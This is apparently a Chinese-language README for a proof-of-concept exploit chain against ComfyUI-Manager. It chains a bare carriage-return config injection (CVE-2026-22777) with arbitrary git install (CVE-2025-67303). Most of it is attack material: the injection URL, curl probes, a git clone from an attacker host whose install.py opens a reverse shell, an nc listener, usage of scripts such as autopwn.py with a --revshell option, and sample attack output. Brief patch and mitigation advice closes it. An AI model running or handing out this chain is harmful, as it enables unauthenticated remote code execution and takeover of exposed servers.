严重程度: 严重(CVSS 9.8) 受影响版本: ComfyUI-Manager < 3.39.2 以及 4.0.0 - 4.0.4 修复版本: ComfyUI-Manager 3.39.2 / 4.0.5 结合漏洞: CVE-2025-67303(任意 Git 安装 -> 代码执行)
ComfyUI-Manager 暴露了一个 /api/manager/db_mode 端点,该端点接受一个 value 查询参数,并使用 Python 的 configparser 将其直接写入 config.ini。
该漏洞是一个裸回车注入(\r / %0D):
configparser 原样序列化该值——\r 被原样存储在文件中。\r 视为行终止符,将一个值拆分为两个独立的 INI 指令。configparser 在 strict=False(ComfyUI-Manager 的默认设置)下接受重复键并使用最后一个。注入的 security_level = weak 覆盖了合法值。重启后,伪造的设置生效,禁用了 /api/customnode/install/git_url(CVE-2025-67303)上的身份验证门。该端点克隆任意 git 仓库并立即以子进程方式执行其中的 install.py——使未认证的攻击者获得完整的代码执行权限。
步骤 1 — 向配置端点注入裸 CR
GET /api/manager/db_mode?value=cache%0Dsecurity_level%20=%20weak
写入后磁盘上的 config.ini:
db_mode = cache\r
security_level = weak <- 通过 %0D 注入
步骤 2 — 重启 Manager 以重新加载伪造的配置
GET /api/manager/reboot
Manager 重新读取 config.ini;通用换行符拆分该值;
后键覆盖 -> security_level = weak
步骤 3 — 验证门(轮询直到 403 变为 400)
POST /api/customnode/install/git_url body: http://127.0.0.1/probe.git
403 = 门仍然关闭
400 = 门已打开,security_level=weak 已确认
步骤 4 — 从恶意 git 仓库触发安装(CVE-2025-67303)
POST /api/customnode/install/git_url
body: http://ATTACKER:9099/alg-upscaler.git
Manager 执行:
git clone http://ATTACKER:9099/alg-upscaler.git
python install.py <- 反向 shell 在此处执行
| 文件 | 用途 |
|---|---|
setup_evil_repo.sh | 构建恶意 git 仓库并通过 HTTP 提供服务 |
exploit_ad15.sh | 运行完整攻击链:CRLF 注入 -> 重启 -> 验证 -> 触发 |
autopwn.py | Python 一体化替代方案(构建仓库 + 运行完整攻击链) |
步骤 1 — 版本指纹
curl -s http://TARGET:8188/api/manager/version
# 存在漏洞: "3.39.1" / "4.0.3"
# 已修复: "3.39.2" / "4.0.5"
步骤 2 — 确认 CRLF 端点接受值
curl -v "http://TARGET:8188/api/manager/db_mode?value=test" 2>&1 | grep "< HTTP"
# HTTP/1.1 200 -> 端点存在且可写
步骤 3 — 探测安装门
curl -s -o /dev/null -w "%{http_code}" \
-X POST http://TARGET:8188/api/customnode/install/git_url \
-d "http://127.0.0.1/probe.git"
# 403 -> 门关闭(默认配置,目标可注入)
# 400 -> 门已打开(跳过阶段 1)
============================================================
CVE-2026-22777 + CVE-2025-67303 完整攻击链
============================================================
目标 : http://192.168.1.10:8188
攻击者 : 10.10.14.1:4444
恶意仓库 : http://10.10.14.1:9099/alg-upscaler.git
[*] 阶段 0:版本指纹
ComfyUI-Manager 版本: "3.39.1" <- 存在漏洞
[*] 阶段 1:CRLF 注入 -> security_level = weak
[+] 注入已发送(HTTP 200)
config.ini 现在包含:
db_mode = cache\r
security_level = weak <- 通过裸 CR 注入
[*] 阶段 2:触发重启
[+] 重启请求已发送 -- 等待 30 秒让 Manager 重启...
[*] 阶段 3:验证安全门
尝试 1:HTTP 403 <- 仍在重启
尝试 2:HTTP 403
尝试 3:HTTP 400 <- 门已打开
[+] 门已打开 -- security_level=weak 已生效
[*] 阶段 4:检查恶意 git 仓库是否可达
[+] 恶意仓库可达(HTTP 200)
[*] 阶段 5:触发 git 安装(CVE-2025-67303)
ComfyUI-Manager 将:
1. git clone http://10.10.14.1:9099/alg-upscaler.git
2. cd 进入克隆目录
3. python install.py <- 反向 shell 在此处执行
阶段 5 中的 curl 会挂起——反向 shell 到达 nc -lvnp 4444。
| Vulhub PoC | 本 PoC | |
|---|---|---|
install.py | touch /tmp/success(仅证明执行) | Python 反向 shell 回连攻击者 |
| 结果 | 无交互式 shell | 完整交互式 shell |
| Vulhub PoC | 本 PoC | |
|---|---|---|
| 语言 | 单个 Python 文件 | Bash,2 个独立脚本 |
| 清理 | tempfile.TemporaryDirectory(Ctrl+C 时自动删除) | 手动(保留在磁盘上) |
| 仓库名称 | 随机(例如 evil-node-a1b2c3) | 固定:alg-upscaler |
| Vulhub PoC | 本 PoC | |
|---|---|---|
| CVE-2026-22777(CRLF 注入) | 未包含 | 在 exploit_ad15.sh 阶段 1 中 |
| 重启 + 验证门 | 未包含 | 等待 30 秒然后轮询 403->400 |
| 触发安装 | 手动 curl | 在阶段 5 中自动化 |
步骤 1 — 设置恶意仓库和监听器(两个终端)
# 终端 1 — 监听器
nc -lvnp 4444
# 终端 2 — 构建并提供恶意仓库
bash setup_evil_repo.sh 10.10.14.1 4444
步骤 2 — 运行完整漏洞利用链
# 终端 3
bash exploit_ad15.sh 192.168.1.10 10.10.14.1 4444
阶段 5 后 shell 到达终端 1。
替代方案 — Python 一体化
# 盲命令
python3 autopwn.py http://192.168.1.10:8188 --command "id"
# 反向 shell
python3 autopwn.py http://192.168.1.10:8188 --revshell --lhost 10.10.14.1 --lport 4444
升级(推荐): ComfyUI-Manager 3.39.2 或 4.0.5+。
该补丁在将任何查询参数写入 config.ini 之前会剥离 \r 和 \n。
网络缓解措施(如果无法立即修补):
8188 的外部访问——ComfyUI 并非为公开暴露而设计。/api/manager/* 和 /api/customnode/* 前面使用带身份验证的反向代理。config.ini 设为只读:chmod 444 config.ini。